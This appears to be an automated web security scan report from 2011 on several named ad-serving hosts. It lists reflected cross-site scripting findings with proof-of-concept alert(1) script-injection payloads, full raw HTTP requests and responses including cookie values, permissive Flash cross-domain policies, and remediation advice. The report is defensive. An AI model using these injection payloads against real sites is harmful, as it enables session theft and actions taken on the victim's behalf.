Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the m request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ea203'-alert(1)-'6f9dea49819 was submitted in the m parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189;kw=;ts=414684;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0ea203'-alert(1)-'6f9dea49819 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; smu=5060.928757113086138685
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:32:44 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5008.928757113086138685; domain=.specificmedia.com; path=/; expires=Sun, 17-Jan-2016 14:32:44 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 404 Expires: Fri, 11 Feb 2011 14:32:44 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
1.2. http://ads.specificmedia.com/serve/v=5 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ads.specificmedia.com
Path:
/serve/v=5
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92462'-alert(1)-'fdcbae067c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189;kw=;ts=414684;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0&92462'-alert(1)-'fdcbae067c7=1 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; smu=5060.928757113086138685
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:32:50 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5008.928757113086138685; domain=.specificmedia.com; path=/; expires=Sun, 17-Jan-2016 14:32:50 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 407 Expires: Fri, 11 Feb 2011 14:32:50 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
1.3. http://adserver.teracent.net/tase/ad [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.teracent.net
Path:
/tase/ad
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89d55"><script>alert(1)</script>5a5451ff201 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct=&89d55"><script>alert(1)</script>5a5451ff201=1 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521192372_6011984_as2105_imp|285#1297521192372_6011984_as2105_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:33:12 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:33:11 GMT Content-Length: 15625
1.4. http://adserver.teracent.net/tase/ad [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.teracent.net
Path:
/tase/ad
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acde1"-alert(1)-"8875498b9b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct=&acde1"-alert(1)-"8875498b9b6=1 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521195593_6040608_as2101_imp|285#1297521195593_6040608_as2101_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:33:15 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:33:14 GMT Content-Length: 14420
The value of the rcu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfe41"><script>alert(1)</script>41d19f677e6 was submitted in the rcu parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct=bfe41"><script>alert(1)</script>41d19f677e6 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521186782_6011859_as2110_imp|285#1297521186782_6011859_as2110_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:33:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:33:06 GMT Content-Length: 14507
The value of the rcu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2627b"-alert(1)-"6215813708f was submitted in the rcu parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct=2627b"-alert(1)-"6215813708f HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521186979_19698104_as2100_imp|285#1297521186979_19698104_as2100_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:33:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:33:06 GMT Content-Length: 14308
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ads.specificmedia.com
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:32:41 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Last-Modified: Fri, 16 Oct 2009 21:04:36 GMT ETag: "1013c43-110-47613be4cc100" Accept-Ranges: bytes Content-Length: 272 Connection: close Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <!-- Policy file for http://ads.specificmedia.com --> <cross-d ...[SNIP]... <allow-access-from domain="*"/> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: adserver.teracent.net
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 ETag: W/"373-1296704834000" Last-Modified: Thu, 03 Feb 2011 03:47:14 GMT Content-Type: application/xml Content-Length: 373 Date: Sat, 12 Feb 2011 14:32:44 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: afe.specificclick.net
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/xml Content-Length: 194 Date: Sat, 12 Feb 2011 14:32:38 GMT Connection: close
<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>
3. Cookie scoped to parent domainpreviousnext There are 4 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189;kw=;ts=414684;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; smu=5060.928757113086138685
Response
HTTP/1.1 200 OK Date: Sat, 12 Feb 2011 14:32:41 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5008.928757113086138685; domain=.specificmedia.com; path=/; expires=Sun, 17-Jan-2016 14:32:41 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 376 Expires: Fri, 11 Feb 2011 14:32:41 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521165254_6011009_as2105_imp|285#1297521165254_6011009_as2105_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:32:45 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:32:44 GMT Content-Length: 14168
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/redir/1297520964341_6003362_as2109_imp/vew?q=H4sIAAAAAAAAAFVPu27DMAz8FT4kkQLUmVOGroGhTyhgx2o6GoGdakjqT-g_9Esro43RDiTucMc78On186sMCViDY1Tx5MFe-lLTkSREr8EfNgAMvvsVgBySSjgAMTTInY1rScdyGufO6tAcrNQGWBSb7YeJOIjxwdQpO36wqFHC7gwhUqQ_zON-F0Ad7FoLRNHO7n15S88fp3Kf1sX66_YQCTkRCOitLv8_zIJIJJyngQE111tvQ0IriX103oNoQJQWe54TI0BGzm0zZXSZxOp6TkM_X-p7vdzmpU42jVtFKyHPEAJbnzg6-wb9_vPzYAEAAA==&act=vew&idx=[0]&com=swf&rnd=1297521039031 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://pcdn.tcgmsrv.net/tase/swf/toyota-inmarket/toyota_inmarket_728.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1297520964341_6003362_as2109_imp|285#1297520964341_6003362_as2109_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521297790_19655810_as2112_vew|285#1297520964341_6003362_as2109_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:34:57 GMT; Path=/tase ETag: W/"43-1259995862000" Last-Modified: Sat, 05 Dec 2009 06:51:02 GMT Content-Type: image/gif Content-Length: 43 Date: Sat, 12 Feb 2011 14:34:56 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?l=5433&sz=728x90&wr=j&t=j&u=&r=&rnd=688341 HTTP/1.1 Host: afe.specificclick.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=7CUZ^0^8191; smdmp=7FEl:99061802^7FEk:99061802^7EjO:384072511^7EjI:99013532^7EjI:99013532^7EjB:99013532^7EjB:21010880^7EjB:384072511^7Eap:99021458^7Eap:99021458^7CcF:99004680^7CVs:99004680^7BUF:99061898^780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=7CUZ^0^0; ug=uosDj9Liw_xRTA
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=5433;cxt=99002797:2123845-99004740:2123845;kw=;ts="+sm_random+";smuid=uosDj9 ...[SNIP]...
4. Cross-domain Referer leakagepreviousnext There are 2 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /tase/ad?AdBoxType=15&Partner=285&url=HI_SpecificMediaTrafficAction_Q4_RT&inv=specificmedia&CustomQuery=&rnd=%3Cinsert_cache_buster%3E&esc=0&rcu=http://ads.specificmedia.com/click/v=5;m=2;l=5433;c=124220;b=741295;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;ts=20110212092924;dct= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=5433;c=124220;b=741295;ts=20110212092923;p=ui%3DuosDj9Liw_xRTA%3Btr%3DypGJwhn89NF%3Btm%3D0-0;cxt=99002797:2123845-99004680:2152503-99004740:2123845-1223201001:2165189 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295975819078_59965210_as2108_imp|285#1295975819078_59965210_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1297521165254_6011009_as2105_imp|285#1297521165254_6011009_as2105_imp|; Domain=.teracent.net; Expires=Thu, 11-Aug-2011 14:32:45 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sat, 12 Feb 2011 14:32:44 GMT Content-Length: 14168
The response dynamically includes the following script from another domain:
http://pcdn.tcgmsrv.net/tase/js/swfobject-2.2.js
Issue background
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
